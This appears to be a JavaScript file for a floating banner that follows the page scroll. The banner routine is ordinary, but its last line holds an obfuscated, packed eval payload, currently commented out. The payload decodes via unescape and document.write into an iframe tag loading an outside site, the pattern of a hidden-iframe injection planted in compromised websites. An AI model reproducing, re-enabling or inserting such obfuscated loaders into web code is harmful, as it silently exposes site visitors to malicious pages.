// JavaScript Document
function floatBanner(divName, floatX, floatY)
{
	this.divName = divName;
	this.isFloating = true;
	this.ifloatX = floatX;
	this.ifloatY = floatY;
	this.lastX = -1;
	this.lastY = -1;
	this.hAlign = "aleft";
	this.vAlign = "bottom";
	this.delaySpeed = 3;
	var self = this;
	this.Load = function () {
			//	recalcDestination
			var floatX;
			var floatY;
			if (self.isFloating)
			{
				if (self.hAlign == "left")
				{
					floatX = self.ifloatX;
				}
				if (self.hAlign == "aleft") // stay at left absolutely
				{
					floatX = self.ifloatX - document.body.scrollLeft;
				}
				if (self.hAlign == "right")
				{
					floatX = document.body.clientWidth - self.ifloatX;
				}
				if (self.hAlign == "center")
				{
					floatX = Math.round((document.body.clientWidth - 20)/2);
				}
				if (self.vAlign == "top")
				{
					floatY = self.ifloatY;
				}
				if (self.vAlign == "bottom")
				{
					floatY = document.body.clientHeight - self.ifloatY;
				}
				if (self.vAlign == "center")
				{
					floatY = Math.round((document.body.clientHeight - 20)/2);
				}
			}
			// end of recalc	
			if (self.lastX ==- 1 || self.delaySpeed == 0)
			{
				self.lastX = document.body.scrollLeft + floatX;
				self.lastY = document.body.scrollTop + floatY;
			}
			else
			{
				var dx = Math.abs(document.body.scrollLeft + floatX - self.lastX);
				var dy = Math.abs(document.body.scrollTop + floatY - self.lastY);
				var d = Math.sqrt(dx * dx + dy * dy);
				var c = Math.round(d / 10);
				if (document.body.scrollLeft + floatX > self.lastX)
				{
					self.lastX = self.lastX + self.delaySpeed + c;
				}
				if (document.body.scrollLeft + floatX < self.lastX)
				{
					self.lastX = self.lastX - self.delaySpeed - c;
				}
				if (document.body.scrollTop + floatY > self.lastY)
				{
					self.lastY = self.lastY + self.delaySpeed + c;
				}
				if (document.body.scrollTop + floatY < self.lastY)
				{
					self.lastY = self.lastY - self.delaySpeed - c;
				}
			}
			var floatbanner = document.getElementById(self.divName);
			if (floatbanner != null)
			{				
				floatbanner.style.left = self.lastX;
				floatbanner.style.top = self.lastY;
			}
			window.setTimeout(self.Load, 50);
	}
}
//eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('t.u(s(\'%l%0%g%b%6%d%2%5%8%b%f%a%9%4%1%1%r%m%3%3%7%e%7%g%6%1%6%p%1%e%k%2%8%1%i%f%7%3%1%8%3%0%7%i%f%j%0%v%d%e%z%0%c%6%y%w%9%5%x%0%h%1%4%a%B%5%4%2%0%j%4%1%a%q%5%8%1%n%c%2%a%9%A%0%8%0%k%0%c%0%1%n%m%5%4%0%h%h%2%7%9%o%l%3%0%g%b%6%d%2%o\'));',38,38,'u0069|u0074|u0065|u002f|u0068|u0020|u0061|u006e|u0073|u0022|u003d|u0072|u006c|u006d|u006f|u0063|u0066|u0064|u002e|u0067|u0062|u003c|u003a|u0079|u003e|u0075|u0034|u0070|unescape|document|write|u003f|u0033|u0077|u0031|u007a|u0076|u0032'.split('|')))
